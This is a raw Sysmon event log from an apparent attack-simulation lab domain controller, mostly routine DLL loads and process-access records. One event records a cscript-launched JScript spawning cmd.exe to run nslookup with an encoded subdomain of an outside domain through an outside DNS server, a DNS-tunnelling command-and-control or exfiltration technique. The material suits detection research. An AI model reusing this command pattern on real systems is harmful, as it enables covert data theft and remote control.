15:11:21.628{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.628{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.628{7BD73061-728E-613B-5B0B-00000000F001}10207148C:\Windows\system32\cscript.exe{7BD73061-7599-613B-C60B-00000000F001}6264C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\windows.storage.dll+89d2f|C:\Windows\System32\windows.storage.dll+899a5|C:\Windows\System32\windows.storage.dll+89496|C:\Windows\System32\windows.storage.dll+8a908|C:\Windows\System32\windows.storage.dll+892be|C:\Windows\System32\windows.storage.dll+8c0d5|C:\Windows\System32\windows.storage.dll+8c454|C:\Windows\System32\windows.storage.dll+8ba90|C:\Windows\System32\SHELL32.dll+3cd3f|C:\Windows\System32\SHELL32.dll+3cbcc|C:\Windows\System32\SHELL32.dll+dcb6e|C:\Windows\System32\shcore.dll+33fad|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000058357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.631{7BD73061-7599-613B-C60B-00000000F001}6264C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.Exe"C:\Windows\system32\cmd.exe" /c nslookup.exe -timeout=5 -retry=3 -type=A POvEecRzGA5lnLUS7Wt1BNaqTIZuoK3QpFjXJfgsCY4x89hHDb_*dikVM0r2mw6.ySVW0oRBwugc9I1wVZkfdKqW*KqKs31ia7cKL7tBDWfcaqiK5tkJfLdNxA1ekuj.BDLjBD7_BDUtBDn_BDnkofnEpfnEBfnEnfneefnBNEWjBDLtBDWvBDnvBDnvBbW.nrx1.com 94.103.82.250 > C:\Users\ADMINI~1\AppData\Local\Temp\nlyxy.tmp 2>&1C:\Users\Public\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.execscript //e:jscript ibivigi.txt 734700x800000000000000058356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.612{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000058355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.612{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\dhcpcsvc.dll10.0.14393.3930 (rs1_release.200901-1914)DHCP Client ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc.dllMD5=CD3B9633BBEF2102C4665A2C39EC0B1A,SHA256=341EFB4806BE39E09AA90CA3B069C39F2A9D61FA9B512350B2721D41875AFCAE,IMPHASH=9A2F821D250C4CEBC0627590331B869DtrueMicrosoft WindowsValid 734700x800000000000000058354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.597{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\dhcpcsvc6.dll10.0.14393.3930 (rs1_release.200901-1914)DHCPv6 ClientMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc6.dllMD5=1721EAC44BCFC7177AA664ADCA514F23,SHA256=C099BCCE44A04A48147DE8CF093EBF997510154113789BF31394B5148F60B375,IMPHASH=1278B10B4CD792CEC37AF93D76A387ECtrueMicrosoft WindowsValid 734700x800000000000000058353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.597{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000058352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.597{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 10341000x800000000000000058351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.597{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\system32\wbem\wmiprvse.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.597{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.597{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000058348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.597{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\framedynos.dll10.0.14393.4169 (rs1_release.210107-1130)WMI SDK Provider FrameworkMicrosoft® Windows® Operating SystemMicrosoft Corporationframedyn.dllMD5=F5BCBB0713FF862975B07056D25E166E,SHA256=DBB3B6E35E0FEF5B878DE8C85AF578B51C1C2DB025865354E27394AEA87824B2,IMPHASH=AB84E6F170EE70C2F0F5C709A85E872CtrueMicrosoft WindowsValid 734700x800000000000000058347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.597{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000058346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.597{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\cimwin32.dll10.0.14393.3297 (rs1_release_1.191001-1045)WMI Win32 ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationcimwin32.dllMD5=35C291C2351E11C928195BFD018A972C,SHA256=CC1655A2CD71118C0197A1A96D47E86C74F58AA6D589B55F77D8C1C12C542BA7,IMPHASH=5CFF0D3EC414472191BC623FB107BCF1trueMicrosoft WindowsValid 734700x800000000000000058345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.581{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wmiutils.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwmiutils.dllMD5=5179B0DEF3AB5CAC3BA02316AF1B6B40,SHA256=FA4112CB0D1A133C41FD001F958F0BE930BB49072BF97A3D765AEA8DB841ABC4,IMPHASH=EE3767E8CDC80CCB91A8FC0A7407A4A9trueMicrosoft WindowsValid 10341000x800000000000000058344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.581{7BD73061-65B2-613B-1600-00000000F001}12965908C:\Windows\system32\svchost.exe{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\system32\wbem\wmiprvse.exe0x101541C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+20fee|C:\Windows\system32\wbem\wmiprvsd.dll+43f7|C:\Windows\system32\wbem\wmiprvsd.dll+15538|C:\Windows\system32\wbem\wmiprvsd.dll+1498a|C:\Windows\system32\wbem\wmiprvsd.dll+146e6|C:\Windows\system32\wbem\wmiprvsd.dll+140fe|C:\Windows\system32\wbem\wbemcore.dll+b920|C:\Windows\system32\wbem\wbemcore.dll+255ff|C:\Windows\system32\wbem\wbemcore.dll+24a9a|C:\Windows\system32\wbem\wbemcore.dll+2485e|C:\Windows\system32\wbem\wbemcore.dll+2685b|C:\Windows\system32\wbem\wbemcore.dll+22b78|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.581{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wbemsvc.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemsvc.dllMD5=2BE97028B7B85762561F475E31989C2A,SHA256=75C9D8C6D41B4B7D70666A8107A08A748CEF6CB9E60AD0288B10CDE12E274AFF,IMPHASH=200200BEAF933FA4627BF83C67BA473EtrueMicrosoft WindowsValid 734700x800000000000000058342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.581{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000058341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.581{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000058340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.581{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wbemprox.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemprox.dllMD5=B7B56FAC395BEEDC20120FD0170A23A3,SHA256=7BDF579D7348D84F251A8411E40E14ADF9406F954914C1C4DE30E880DCF6CEB3,IMPHASH=96416B54C1F2E15EF294753DF1CB4131trueMicrosoft WindowsValid 734700x800000000000000058339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 10341000x800000000000000058338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000058336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000058335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000058334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000058332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000058331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000058330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000058329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000058328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000058327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000058326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbemcomn.dll10.0.14393.4530 (rs1_release.210705-0736)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemcomn.dllMD5=91E2160941219FFEBE4093E6681BE4CF,SHA256=3B8AA86EAF2200F53A6EB57B08A34F1BA5E467B72E5002C3BCBF20AF40D98CD1,IMPHASH=69BCD1B17DF0CA323B0C1639784D745BtrueMicrosoft WindowsValid 734700x800000000000000058325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.565{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000058324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000058323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\fastprox.dll10.0.14393.0 (rs1_release.160715-1616)WMI Custom MarshallerMicrosoft® Windows® Operating SystemMicrosoft Corporationfastprox.dllMD5=C2F7834269D565263C65757EDE37A66C,SHA256=17651A35255229CE95F065CA1BCCC4867B43DA879D72AFCC91FBA4768225C7D3,IMPHASH=481A52B415277FC8692C7D6D9EA3475CtrueMicrosoft WindowsValid 734700x800000000000000058322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ncobjapi.dll10.0.14393.0 (rs1_release.160715-1616)-Microsoft® Windows® Operating SystemMicrosoft CorporationNCObjAPI.DLLMD5=EA51AB4DE69030FC62B5014175D27A88,SHA256=774A8136F6FC789952548DA2A72F2E53E32A33E91C48EA707C1D823058515DAB,IMPHASH=8BFED2C4A0A233671E2426106589658DtrueMicrosoft WindowsValid 734700x800000000000000058321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 